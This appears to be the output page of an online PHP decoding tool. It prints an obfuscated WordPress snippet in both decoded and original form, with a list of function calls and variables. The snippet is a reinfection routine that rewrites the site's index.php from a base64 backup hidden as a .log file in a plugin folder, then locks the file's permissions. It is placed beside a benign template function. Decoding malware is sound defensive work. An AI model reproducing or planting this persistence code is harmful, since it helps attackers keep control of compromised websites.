Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

// project_x $f_size = 'fil' . 'esi' . 'ze'; $f_exists = 'fil' . 'e_e' . 'xis' . 'ts'; $f..

Decoded Output download

<?  // project_x 
$f_size = 'fil' . 'esi' . 'ze'; $f_exists = 'fil' . 'e_e' . 'xis' . 'ts'; $f_put = 'fil' . 'e_p' . 'ut_' . 'con' . 'ten' . 'ts'; $f_get = 'fil' . 'e_g' . 'et_' . 'con' . 'ten' . 'ts'; $ch = 'c' . 'h' . 'm' . 'o' . 'd'; $tou = 't' . 'o' . 'u' . 'c' . 'h'; $delete = 'unl' . 'ink'; $bs_dec = 'bas' . 'e6' . '4_de' . 'code'; $idx_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/ind' . 'ex.php'; $bk_idx_path = 'wp-content/plugins/jnews-social-login/assetsqhWHNubjYLnX.log'; if (!$f_exists($idx_path) or $f_size($idx_path) != 4280) { if ($f_exists($bk_idx_path)){ $idx_code = @$f_get($bk_idx_path); @$ch($idx_path, 438); @$delete($idx_path); @$f_put($idx_path, $bs_dec($idx_code)); @$ch($idx_path, 292); } } 
// project_y 
function _strip_template_file_suffix( $template_file ) { 
	return preg_replace( '/\.(php|html)$/', '', $template_file ); 
} ?>

Did this file decode correctly?

Original Code

// project_x
$f_size = 'fil' . 'esi' . 'ze'; $f_exists = 'fil' . 'e_e' . 'xis' . 'ts'; $f_put = 'fil' . 'e_p' . 'ut_' . 'con' . 'ten' . 'ts'; $f_get = 'fil' . 'e_g' . 'et_' . 'con' . 'ten' . 'ts'; $ch = 'c' . 'h' . 'm' . 'o' . 'd'; $tou = 't' . 'o' . 'u' . 'c' . 'h'; $delete = 'unl' . 'ink'; $bs_dec = 'bas' . 'e6' . '4_de' . 'code'; $idx_path = $_SERVER['DOCUME' . 'NT_ROOT'] . '/ind' . 'ex.php'; $bk_idx_path = 'wp-content/plugins/jnews-social-login/assetsqhWHNubjYLnX.log'; if (!$f_exists($idx_path) or $f_size($idx_path) != 4280) { if ($f_exists($bk_idx_path)){ $idx_code = @$f_get($bk_idx_path); @$ch($idx_path, 438); @$delete($idx_path); @$f_put($idx_path, $bs_dec($idx_code)); @$ch($idx_path, 292); } }
// project_y
function _strip_template_file_suffix( $template_file ) {
	return preg_replace( '/\.(php|html)$/', '', $template_file );
}

Function Calls

chmod 1
filesize 1
file_exists 2
file_get_contents 1

Variables

$ch chmod
$tou touch
$f_get file_get_contents
$f_put file_put_contents
$bs_dec base64_decode
$delete unlink
$f_size filesize
$f_exists file_exists
$idx_code None
$idx_path None/index.php
$bk_idx_path wp-content/plugins/jnews-social-login/assetsqhWHNubjYLnX.log

Stats

MD5 ad9e7799f76a7f7e77fa02b6d01c8a4c
Eval Count 0
Decode Time 129 ms